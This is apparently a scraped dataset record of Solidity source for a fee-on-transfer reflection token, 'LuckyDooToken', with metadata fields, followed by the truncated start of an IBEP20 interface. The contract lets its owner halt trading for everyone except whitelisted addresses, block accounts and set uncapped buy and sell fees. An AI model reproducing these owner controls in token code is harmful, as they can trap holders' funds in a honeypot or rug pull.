mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcludedFromMaxWalletLimit;
mapping (address => bool) private _isExcludedFromMaxTransactionLimit;
mapping (address => bool) private _isExcludedFromDividends;
mapping (address => bool) private _isBlocked;
mapping (address => bool) public automatedMarketMakerPairs;
address[] private _excludedFromDividends;
uint8 private _liquidityFee;
uint8 private _devFee;
uint8 private _marketingFee;
uint8 private _buyBackFee;
uint8 private _holdersFee;
uint8 private _totalFee;
event AutomatedMarketMakerPairChange(address indexed pair, bool indexed value);
event UniswapV2RouterChange(address indexed newAddress, address indexed oldAddress);
event WalletChange(string indexed indentifier, address indexed newWallet, address indexed oldWallet);
event FeeChange(string indexed identifier, uint8 liquidityFee, uint8 marketingFee, uint8 devFee, uint8 buyBackFee, uint8 holdersFee);
event CustomTaxPeriodChange(uint256 indexed newValue, uint256 indexed oldValue, string indexed taxType, bytes23 period);
event BlockedAccountChange(address indexed holder, bool indexed status);
event MaxWalletAmountChange(uint256 indexed newValue, uint256 indexed oldValue);
event MaxTransactionAmountChange(uint256 indexed newValue, uint256 indexed oldValue);
event ExcludeFromFeesChange(address indexed account, bool isExcluded);
event ExcludeFromMaxTransferChange(address indexed account, bool isExcluded);
event ExcludeFromMaxWalletChange(address indexed account, bool isExcluded);
event ExcludeFromDividendsChange(address indexed account, bool isExcluded);
event AllowedWhenTradingDisabledChange(address indexed account, bool isExcluded);
event MinTokenAmountBeforeSwapChange(uint256 indexed newValue, uint256 indexed oldValue);
event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived,uint256 tokensIntoLiqudity);
event ClaimETHOverflow(uint256 amount);
event FeesApplied(uint8 liquidityFee, uint8 marketingFee, uint8 devFee, uint8 buyBackFee, uint8 holdersFee, uint8 totalFee);
constructor() {
liquidityWallet = owner();
marketingWallet = owner();
devWallet = owner();
buyBackWallet = owner();
IRouter _uniswapV2Router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address _uniswapV2Pair = IFactory(_uniswapV2Router.factory()).createPair(
address(this),
_uniswapV2Router.WETH()
);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = _uniswapV2Pair;
_setAutomatedMarketMakerPair(_uniswapV2Pair, true);
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
excludeFromDividends(address(this), true);
excludeFromDividends(address(dead), true);
excludeFromDividends(address(_uniswapV2Router), true);
_isAllowedToTradeWhenDisabled[owner()] = true;
_isExcludedFromMaxWalletLimit[_uniswapV2Pair] = true;
_isExcludedFromMaxWalletLimit[address(uniswapV2Router)] = true;
_isExcludedFromMaxWalletLimit[address(this)] = true;
_isExcludedFromMaxWalletLimit[owner()] = true;
_isExcludedFromMaxTransactionLimit[address(this)] = true;
_isExcludedFromMaxTransactionLimit[address(dead)] = true;
_isExcludedFromMaxTransactionLimit[owner()] = true;
_rOwned[owner()] = _rTotal;
emit Transfer(address(0), owner(), _tTotal);
}
receive() external payable {}
// Setters
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom( address sender,address recipient,uint256 amount) external override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) external virtual returns (bool){
_approve(_msgSender(),spender,_allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) external virtual returns (bool) {
_approve(_msgSender(),spender,_allowances[_msgSender()][spender].sub(subtractedValue,"ERC20: decreased allowance below zero"));
return true;
}
function _approve(address owner,address spender,uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _getNow() private view returns (uint256) {
return block.timestamp;
}
function launch() external onlyOwner {
_launchStartTimestamp = _getNow();
_launchBlockNumber = block.number;
isTradingEnabled = true;
_isLaunched = true;
}
function cancelLaunch() external onlyOwner {
require(this.isInLaunch(), "LuckyDooToken: Launch is not set");
_launchStartTimestamp = 0;
_launchBlockNumber = 0;
_isLaunched = false;
}
function activateTrading() external onlyOwner {
isTradingEnabled = true;
}
function deactivateTrading() external onlyOwner {
isTradingEnabled = false;
_tradingPausedTimestamp = _getNow();
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
require(automatedMarketMakerPairs[pair] != value, "LuckyDooToken: Automated market maker pair is already set to that value");
automatedMarketMakerPairs[pair] = value;
emit AutomatedMarketMakerPairChange(pair, value);
}
function allowTradingWhenDisabled(address account, bool allowed) external onlyOwner {
_isAllowedToTradeWhenDisabled[account] = allowed;
emit AllowedWhenTradingDisabledChange(account, allowed);
}
function excludeFromFees(address account, bool excluded) external onlyOwner {
require(_isExcludedFromFee[account] != excluded, "LuckyDooToken: Account is already the value of 'excluded'");
_isExcludedFromFee[account] = excluded;
emit ExcludeFromFeesChange(account, excluded);
}
function excludeFromMaxWalletLimit(address account, bool excluded) external onlyOwner {
require(_isExcludedFromMaxWalletLimit[account] != excluded, "LuckyDooToken: Account is already the value of 'excluded'");
_isExcludedFromMaxWalletLimit[account] = excluded;
emit ExcludeFromMaxWalletChange(account, excluded);
}
function excludeFromMaxTransactionLimit(address account, bool excluded) external onlyOwner {
require(_isExcludedFromMaxTransactionLimit[account] != excluded, "LuckyDooToken: Account is already the value of 'excluded'");
_isExcludedFromMaxTransactionLimit[account] = excluded;
emit ExcludeFromMaxTransferChange(account, excluded);
}
function blockAccount(address account) external onlyOwner {
uint256 currentTimestamp = _getNow();
require(!_isBlocked[account], "LuckyDooToken: Account is already blocked");
if (_isLaunched) {
require((currentTimestamp - _launchStartTimestamp) < _blockedTimeLimit, "LuckyDooToken: Time to block accounts has expired");
}
_isBlocked[account] = true;
emit BlockedAccountChange(account, true);
}
function unblockAccount(address account) external onlyOwner {
require(_isBlocked[account], "LuckyDooToken: Account is not blcoked");
_isBlocked[account] = false;
emit BlockedAccountChange(account, false);
}
function setWallets(address newLiquidityWallet, address newDevWallet, address newMarketingWallet, address newBuyBackWallett) external onlyOwner {
if(liquidityWallet != newLiquidityWallet) {
require(newLiquidityWallet != address(0), "LuckyDooToken: The liquidityWallet cannot be 0");
emit WalletChange('liquidityWallet', newLiquidityWallet, liquidityWallet);
liquidityWallet = newLiquidityWallet;
}
if(devWallet != newDevWallet) {
require(newDevWallet != address(0), "LuckyDooToken: The devWallet cannot be 0");
emit WalletChange('devWallet', newDevWallet, devWallet);
devWallet = newDevWallet;
}
if(marketingWallet != newMarketingWallet) {
require(newMarketingWallet != address(0), "LuckyDooToken: The marketingWallet cannot be 0");
emit WalletChange('marketingWallet', newMarketingWallet, marketingWallet);
marketingWallet = newMarketingWallet;
}
if(buyBackWallet != newBuyBackWallett) {
require(newBuyBackWallett != address(0), "LuckyDooToken: The buyBackWallet cannot be 0");
emit WalletChange('buyBackWallet', newBuyBackWallett, buyBackWallet);
buyBackWallet = newBuyBackWallett;
}
}
// Base fees
function setBaseFeesOnBuy(uint8 _liquidityFeeOnBuy, uint8 _marketingFeeOnBuy, uint8 _devFeeOnBuy, uint8 _buyBackFeeOnBuy, uint8 _holdersFeeOnBuy) external onlyOwner {
_setCustomBuyTaxPeriod(_base, _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy);
emit FeeChange('baseFees-Buy', _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy);
}
function setBaseFeesOnSell(uint8 _liquidityFeeOnSell, uint8 _marketingFeeOnSell, uint8 _devFeeOnSell, uint8 _buyBackFeeOnSell, uint8 _holdersFeeOnSell) external onlyOwner {
_setCustomSellTaxPeriod(_base, _liquidityFeeOnSell, _marketingFeeOnSell, _devFeeOnSell, _buyBackFeeOnSell, _holdersFeeOnSell);
emit FeeChange('baseFees-Sell', _liquidityFeeOnSell, _marketingFeeOnSell, _devFeeOnSell, _buyBackFeeOnSell, _holdersFeeOnSell);
}
//Launch2 Fees
function setLaunch2FeesOnBuy(uint8 _liquidityFeeOnBuy, uint8 _marketingFeeOnBuy, uint8 _devFeeOnBuy, uint8 _buyBackFeeOnBuy, uint8 _holdersFeeOnBuy) external onlyOwner {
_setCustomBuyTaxPeriod(_launch2, _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy);
emit FeeChange('launch2Fees-Buy', _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy);
}
function setLaunch2FeesOnSell(uint8 _liquidityFeeOnSell, uint8 _marketingFeeOnSell, uint8 _devFeeOnSell, uint8 _buyBackFeeOnSell, uint8 _holdersFeeOnSell) external onlyOwner {
_setCustomSellTaxPeriod(_launch2, _liquidityFeeOnSell, _marketingFeeOnSell, _devFeeOnSell, _buyBackFeeOnSell, _holdersFeeOnSell);
emit FeeChange('launch2Fees-Sell', _liquidityFeeOnSell, _marketingFeeOnSell, _devFeeOnSell, _buyBackFeeOnSell, _holdersFeeOnSell);
}
//Launch3 Fees
function setLaunch3FeesOnBuy(uint8 _liquidityFeeOnBuy, uint8 _marketingFeeOnBuy, uint8 _devFeeOnBuy, uint8 _buyBackFeeOnBuy, uint8 _holdersFeeOnBuy) external onlyOwner {
_setCustomBuyTaxPeriod(_launch3, _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy);
emit FeeChange('launch3Fees-Buy', _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy);
}
function setLaunch3FeesOnSell(uint8 _liquidityFeeOnSell, uint8 _marketingFeeOnSell, uint8 _devFeeOnSell, uint8 _buyBackFeeOnSell, uint8 _holdersFeeOnSell) external onlyOwner {
_setCustomSellTaxPeriod(_launch3, _liquidityFeeOnSell, _marketingFeeOnSell, _devFeeOnSell, _buyBackFeeOnSell, _holdersFeeOnSell);
emit FeeChange('launch3Fees-Sell', _liquidityFeeOnSell, _marketingFeeOnSell, _devFeeOnSell, _buyBackFeeOnSell, _holdersFeeOnSell);
}
function setMaxWalletAmount(uint256 newValue) external onlyOwner {
require(newValue != maxWalletAmount, "LuckyDooToken: Cannot update maxWalletAmount to same value");
emit MaxWalletAmountChange(newValue, maxWalletAmount);
maxWalletAmount = newValue;
}
function setMaxTransactionAmount(uint256 newValue) external onlyOwner {
require(newValue != maxTxAmount, "LuckyDooToken: Cannot update maxTxAmount to same value");
emit MaxTransactionAmountChange(newValue, maxTxAmount);
maxTxAmount = newValue;
}
function excludeFromDividends(address account, bool excluded) public onlyOwner {
require(_isExcludedFromDividends[account] != excluded, "LuckyDooToken: Account is already the value of 'excluded'");
if(excluded) {
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcludedFromDividends[account] = excluded;
_excludedFromDividends.push(account);
} else {
for (uint256 i = 0; i < _excludedFromDividends.length; i++) {
if (_excludedFromDividends[i] == account) {
_excludedFromDividends[i] = _excludedFromDividends[_excludedFromDividends.length - 1];
_tOwned[account] = 0;
_isExcludedFromDividends[account] = false;
_excludedFromDividends.pop();
break;
}
}
}
emit ExcludeFromDividendsChange(account, excluded);
}
function setMinimumTokensBeforeSwap(uint256 newValue) external onlyOwner {
require(newValue != minimumTokensBeforeSwap, "LuckyDooToken: Cannot update minimumTokensBeforeSwap to same value");
emit MinTokenAmountBeforeSwapChange(newValue, minimumTokensBeforeSwap);
minimumTokensBeforeSwap = newValue;
}
function claimETHOverflow() external onlyOwner {
require(address(this).balance > 0, "LuckyDooToken: Cannot send more than contract balance");
uint256 amount = address(this).balance;
(bool success,) = address(owner()).call{value : amount}("");
if (success){
emit ClaimETHOverflow(amount);
}
}
// Getters
function name() external view returns (string memory) {
return _name;
}
function symbol() external view returns (string memory) {
return _symbol;
}
function decimals() external view virtual returns (uint8) {
return _decimals;
}
function totalSupply() external view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcludedFromDividends[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function totalFees() external view returns (uint256) {
return _tFeeTotal;
}
function allowance(address owner, address spender) external view override returns (uint256) {
return _allowances[owner][spender];
}
function isInLaunch() external view returns (bool) {
uint256 currentTimestamp = !isTradingEnabled && _tradingPausedTimestamp > _launchStartTimestamp ? _tradingPausedTimestamp : _getNow();
uint256 totalLaunchTime = _launch1.timeInPeriod + _launch2.timeInPeriod + _launch3.timeInPeriod;
if(_isLaunched && ((currentTimestamp - _launchStartTimestamp) < totalLaunchTime || (block.number - _launchBlockNumber) < _launch1.blocksInPeriod )) {
return true;
} else {
return false;
}
}
function getBaseBuyFees() external view returns (uint256, uint256, uint256, uint256, uint256){
return (_base.liquidityFeeOnBuy, _base.marketingFeeOnBuy, _base.devFeeOnBuy, _base.buyBackFeeOnBuy, _base.holdersFeeOnBuy);
}
function getBaseSellFees() external view returns (uint256, uint256, uint256, uint256, uint256){
return (_base.liquidityFeeOnSell, _base.marketingFeeOnSell, _base.devFeeOnSell, _base.buyBackFeeOnSell, _base.holdersFeeOnSell);
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "LuckyDooToken: Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount / currentRate;
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) external view returns (uint256) {
require(tAmount <= _tTotal, "LuckyDooToken: Amount must be less than supply");
uint256 currentRate = _getRate();
uint256 rAmount = tAmount * currentRate;
if (!deductTransferFee) {
return rAmount;
}
else {
uint256 rTotalFee = tAmount * _totalFee / 100 * currentRate;
uint256 rTransferAmount = rAmount - rTotalFee;
return rTransferAmount;
}
}
// Main
function _transfer(
address from,
address to,
uint256 amount
) internal {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(amount <= balanceOf(from), "LuckyDooToken: Cannot transfer more than balance");
bool isBuyFromLp = automatedMarketMakerPairs[from];
bool isSelltoLp = automatedMarketMakerPairs[to];
bool _isInLaunch = this.isInLaunch();
if(!_isAllowedToTradeWhenDisabled[from] && !_isAllowedToTradeWhenDisabled[to]) {
require(isTradingEnabled, "LuckyDooToken: Trading is currently disabled.");
require(!_isBlocked[to], "LuckyDooToken: Account is blocked");
require(!_isBlocked[from], "LuckyDooToken: Account is blocked");
if (!_isExcludedFromMaxTransactionLimit[to] && !_isExcludedFromMaxTransactionLimit[from]) {
require(amount <= maxTxAmount, "LuckyDooToken: Transfer amount exceeds the maxTxAmount.");
}
if (!_isExcludedFromMaxWalletLimit[to]) {
require((balanceOf(to) + amount) <= maxWalletAmount, "LuckyDooToken: Expected wallet amount exceeds the maxWalletAmount.");
}
}
_adjustTaxes(isBuyFromLp, isSelltoLp, _isInLaunch);
bool canSwap = balanceOf(address(this)) >= minimumTokensBeforeSwap;
if (
isTradingEnabled &&
canSwap &&
!_swapping &&
_totalFee > 0 &&
automatedMarketMakerPairs[to] &&
from != liquidityWallet && to != liquidityWallet &&
from != devWallet && to != devWallet &&
from != marketingWallet && to != marketingWallet &&
from != buyBackWallet && to != buyBackWallet
) {
_swapping = true;
_swapAndLiquify();
_swapping = false;
}
bool takeFee = !_swapping && isTradingEnabled;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function _tokenTransfer(address sender,address recipient, uint256 tAmount, bool takeFee) private {
(uint256 tTransferAmount,uint256 tFee, uint256 tOther) = _getTValues(tAmount, takeFee);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 rOther) = _getRValues(tAmount, tFee, tOther, _getRate());
if (_isExcludedFromDividends[sender]) {
_tOwned[sender] = _tOwned[sender] - tAmount;
}
if (_isExcludedFromDividends[recipient]) {
_tOwned[recipient] = _tOwned[recipient] + tTransferAmount;
}
_rOwned[sender] = _rOwned[sender] - rAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_takeContractFees(rOther, tOther);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal -= rFee;
_tFeeTotal += tFee;
}
function _getTValues(uint256 tAmount, bool takeFee) private view returns (uint256,uint256,uint256){
if (!takeFee) {
return (tAmount, 0, 0);
}
else {
uint256 tFee = tAmount * _holdersFee / 100;
uint256 tOther = tAmount * (_liquidityFee + _devFee + _marketingFee + _buyBackFee) / 100;
uint256 tTransferAmount = tAmount - (tFee + tOther);
return (tTransferAmount, tFee, tOther);
}
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tOther,
uint256 currentRate
) private pure returns ( uint256, uint256, uint256, uint256) {
uint256 rAmount = tAmount * currentRate;
uint256 rFee = tFee * currentRate;
uint256 rOther = tOther * currentRate;
uint256 rTransferAmount = rAmount - (rFee + rOther);
return (rAmount, rTransferAmount, rFee, rOther);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excludedFromDividends.length; i++) {
if (
_rOwned[_excludedFromDividends[i]] > rSupply ||
_tOwned[_excludedFromDividends[i]] > tSupply
) return (_rTotal, _tTotal);
rSupply = rSupply - _rOwned[_excludedFromDividends[i]];
tSupply = tSupply - _tOwned[_excludedFromDividends[i]];
}
if (rSupply < _rTotal / _tTotal) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeContractFees(uint256 rOther, uint256 tOther) private {
if (_isExcludedFromDividends[address(this)]) {
_tOwned[address(this)] += tOther;
}
_rOwned[address(this)] += rOther;
}
function _adjustTaxes(bool isBuyFromLp, bool isSelltoLp, bool isLaunching) private {
uint256 blocksSinceLaunch = block.number - _launchBlockNumber;
uint256 currentTimestamp = !isTradingEnabled && _tradingPausedTimestamp > _launchStartTimestamp ? _tradingPausedTimestamp : _getNow();
uint256 timeSinceLaunch = currentTimestamp - _launchStartTimestamp;
_liquidityFee = 0;
_devFee = 0;
_marketingFee = 0;
_buyBackFee = 0;
_holdersFee = 0;
if (isBuyFromLp) {
_liquidityFee = _base.liquidityFeeOnBuy;
_devFee = _base.devFeeOnBuy;
_marketingFee = _base.marketingFeeOnBuy;
_buyBackFee = _base.buyBackFeeOnBuy;
_holdersFee = _base.holdersFeeOnBuy;
if(isLaunching) {
if (_isLaunched && blocksSinceLaunch < _launch1.blocksInPeriod) {
_liquidityFee = _launch1.liquidityFeeOnBuy;
_devFee = _launch1.devFeeOnBuy;
_marketingFee = _launch1.marketingFeeOnBuy;
_buyBackFee = _launch1.buyBackFeeOnBuy;
_holdersFee = _launch1.holdersFeeOnBuy;
}
else if (_isLaunched && timeSinceLaunch <= _launch2.timeInPeriod && blocksSinceLaunch > _launch1.blocksInPeriod) {
_liquidityFee = _launch2.liquidityFeeOnBuy;
_devFee = _launch2.devFeeOnBuy;
_marketingFee = _launch2.marketingFeeOnBuy;
_buyBackFee = _launch2.buyBackFeeOnBuy;
_holdersFee = _launch2.holdersFeeOnBuy;
}
else {
_liquidityFee = _launch3.liquidityFeeOnBuy;
_devFee = _launch3.devFeeOnBuy;
_marketingFee = _launch3.marketingFeeOnBuy;
_buyBackFee = _launch3.buyBackFeeOnBuy;
_holdersFee = _launch3.holdersFeeOnBuy;
}
}
}
if (isSelltoLp) {
_liquidityFee = _base.liquidityFeeOnSell;
_devFee = _base.devFeeOnSell;
_marketingFee = _base.marketingFeeOnSell;
_buyBackFee = _base.buyBackFeeOnSell;
_holdersFee = _base.holdersFeeOnSell;
if(isLaunching) {
if (_isLaunched && blocksSinceLaunch < _launch1.blocksInPeriod) {
_liquidityFee = _launch1.liquidityFeeOnSell;
_devFee = _launch1.devFeeOnSell;
_marketingFee = _launch1.marketingFeeOnSell;
_buyBackFee = _launch1.buyBackFeeOnSell;
_holdersFee = _launch1.holdersFeeOnSell;
}
else if (_isLaunched && timeSinceLaunch <= _launch2.timeInPeriod && blocksSinceLaunch > _launch1.blocksInPeriod) {
_liquidityFee = _launch2.liquidityFeeOnSell;
_devFee = _launch2.devFeeOnSell;
_marketingFee = _launch2.marketingFeeOnSell;
_buyBackFee = _launch2.buyBackFeeOnSell;
_holdersFee = _launch2.holdersFeeOnSell;
}
else {
_liquidityFee = _launch3.liquidityFeeOnSell;
_devFee = _launch3.devFeeOnSell;
_marketingFee = _launch3.marketingFeeOnSell;
_buyBackFee = _launch3.buyBackFeeOnSell;
_holdersFee = _launch3.holdersFeeOnSell;
}
}
}
_totalFee = _liquidityFee + _marketingFee + _devFee + _buyBackFee + _holdersFee;
emit FeesApplied(_liquidityFee, _marketingFee, _devFee, _buyBackFee, _holdersFee, _totalFee);
}
function _setCustomSellTaxPeriod(CustomTaxPeriod storage map,
uint8 _liquidityFeeOnSell,
uint8 _marketingFeeOnSell,
uint8 _devFeeOnSell,
uint8 _buyBackFeeOnSell,
uint8 _holdersFeeOnSell
) private {
if (map.liquidityFeeOnSell != _liquidityFeeOnSell) {
emit CustomTaxPeriodChange(_liquidityFeeOnSell, map.liquidityFeeOnSell, 'liquidityFeeOnSell', map.periodName);
map.liquidityFeeOnSell = _liquidityFeeOnSell;
}
if (map.marketingFeeOnSell != _marketingFeeOnSell) {
emit CustomTaxPeriodChange(_marketingFeeOnSell, map.marketingFeeOnSell, 'marketingFeeOnSell', map.periodName);
map.marketingFeeOnSell = _marketingFeeOnSell;
}
if (map.devFeeOnSell != _devFeeOnSell) {
emit CustomTaxPeriodChange(_devFeeOnSell, map.devFeeOnSell, 'devFeeOnSell', map.periodName);
map.devFeeOnSell = _devFeeOnSell;
}
if (map.buyBackFeeOnSell != _buyBackFeeOnSell) {
emit CustomTaxPeriodChange(_buyBackFeeOnSell, map.buyBackFeeOnSell, 'buyBackFeeOnSell', map.periodName);
map.buyBackFeeOnSell = _buyBackFeeOnSell;
}
if (map.holdersFeeOnSell != _holdersFeeOnSell) {
emit CustomTaxPeriodChange(_holdersFeeOnSell, map.holdersFeeOnSell, 'holdersFeeOnSell', map.periodName);
map.holdersFeeOnSell = _holdersFeeOnSell;
}
}
function _setCustomBuyTaxPeriod(CustomTaxPeriod storage map,
uint8 _liquidityFeeOnBuy,
uint8 _marketingFeeOnBuy,
uint8 _devFeeOnBuy,
uint8 _buyBackFeeOnBuy,
uint8 _holdersFeeOnBuy
) private {
if (map.liquidityFeeOnBuy != _liquidityFeeOnBuy) {
emit CustomTaxPeriodChange(_liquidityFeeOnBuy, map.liquidityFeeOnBuy, 'liquidityFeeOnBuy', map.periodName);
map.liquidityFeeOnBuy = _liquidityFeeOnBuy;
}
if (map.marketingFeeOnBuy != _marketingFeeOnBuy) {
emit CustomTaxPeriodChange(_marketingFeeOnBuy, map.marketingFeeOnBuy, 'marketingFeeOnBuy', map.periodName);
map.marketingFeeOnBuy = _marketingFeeOnBuy;
}
if (map.devFeeOnBuy != _devFeeOnBuy) {
emit CustomTaxPeriodChange(_devFeeOnBuy, map.devFeeOnBuy, 'devFeeOnBuy', map.periodName);
map.devFeeOnBuy = _devFeeOnBuy;
}
if (map.buyBackFeeOnBuy != _buyBackFeeOnBuy) {
emit CustomTaxPeriodChange(_buyBackFeeOnBuy, map.buyBackFeeOnBuy, 'buyBackFeeOnBuy', map.periodName);
map.buyBackFeeOnBuy = _buyBackFeeOnBuy;
}
if (map.holdersFeeOnBuy != _holdersFeeOnBuy) {
emit CustomTaxPeriodChange(_holdersFeeOnBuy, map.holdersFeeOnBuy, 'holdersFeeOnBuy', map.periodName);
map.holdersFeeOnBuy = _holdersFeeOnBuy;
}
}
function _swapAndLiquify() private {
uint256 contractBalance = balanceOf(address(this));
uint256 initialETHBalance = address(this).balance;
uint8 totalFeePrior = _totalFee;
uint8 liquidityFeePrior = _liquidityFee;
uint8 marketingFeePrior = _marketingFee;
uint8 devFeePrior = _devFee;
uint8 buyBackFeePrior = _buyBackFee;
uint256 amountToLiquify = contractBalance * _liquidityFee / _totalFee / 2;
uint256 amountToSwapForETH = contractBalance - amountToLiquify;
_swapTokensForETH(amountToSwapForETH);
uint256 ETHBalanceAfterSwap = address(this).balance - initialETHBalance;
uint256 totalETHFee = _totalFee - (_liquidityFee / 2);
uint256 amountETHLiquidity = ETHBalanceAfterSwap * _liquidityFee / totalETHFee / 2;
uint256 amountETHDev = ETHBalanceAfterSwap * _devFee / totalETHFee;
uint256 amountETHBuyBack = ETHBalanceAfterSwap * _buyBackFee / totalETHFee;
uint256 amountETHMarketing = ETHBalanceAfterSwap - (amountETHLiquidity + amountETHDev + amountETHBuyBack);
payable(marketingWallet).transfer(amountETHMarketing);
payable(devWallet).transfer(amountETHDev);
payable(buyBackWallet).transfer(amountETHBuyBack);
if (amountToLiquify > 0) {
_addLiquidity(amountToLiquify, amountETHLiquidity);
emit SwapAndLiquify(amountToSwapForETH, amountETHLiquidity, amountToLiquify);
}
_totalFee = totalFeePrior;
_liquidityFee = liquidityFeePrior;
_marketingFee = marketingFeePrior;
_devFee = devFeePrior;
_buyBackFee = buyBackFeePrior;
}
function _swapTokensForETH(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function _addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
liquidityWallet,
block.timestamp
);
}
} | _transfer | function _transfer(
address from,
address to,
uint256 amount
) internal {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(amount <= balanceOf(from), "LuckyDooToken: Cannot transfer more than balance");
bool isBuyFromLp = automatedMarketMakerPairs[from];
bool isSelltoLp = automatedMarketMakerPairs[to];
bool _isInLaunch = this.isInLaunch();
if(!_isAllowedToTradeWhenDisabled[from] && !_isAllowedToTradeWhenDisabled[to]) {
require(isTradingEnabled, "LuckyDooToken: Trading is currently disabled.");
require(!_isBlocked[to], "LuckyDooToken: Account is blocked");
require(!_isBlocked[from], "LuckyDooToken: Account is blocked");
if (!_isExcludedFromMaxTransactionLimit[to] && !_isExcludedFromMaxTransactionLimit[from]) {
require(amount <= maxTxAmount, "LuckyDooToken: Transfer amount exceeds the maxTxAmount.");
}
if (!_isExcludedFromMaxWalletLimit[to]) {
require((balanceOf(to) + amount) <= maxWalletAmount, "LuckyDooToken: Expected wallet amount exceeds the maxWalletAmount.");
}
}
_adjustTaxes(isBuyFromLp, isSelltoLp, _isInLaunch);
bool canSwap = balanceOf(address(this)) >= minimumTokensBeforeSwap;
if (
isTradingEnabled &&
canSwap &&
!_swapping &&
_totalFee > 0 &&
automatedMarketMakerPairs[to] &&
from != liquidityWallet && to != liquidityWallet &&
from != devWallet && to != devWallet &&
from != marketingWallet && to != marketingWallet &&
from != buyBackWallet && to != buyBackWallet
) {
_swapping = true;
_swapAndLiquify();
_swapping = false;
}
bool takeFee = !_swapping && isTradingEnabled;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
| // Main | LineComment | v0.8.13+commit.abaa5c0e | MIT | ipfs://3084574085aba8adf8bd6fa057454a217e2339c100aff7233b3e43e668854fbd | {
"func_code_index": [
18407,
20391
]
} | 1,312 |
||
eStar | eStar.sol | 0x39b00bdd39c4a1e6743a3f904816778db7e26904 | Solidity | IBEP20 | interface IBEP20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
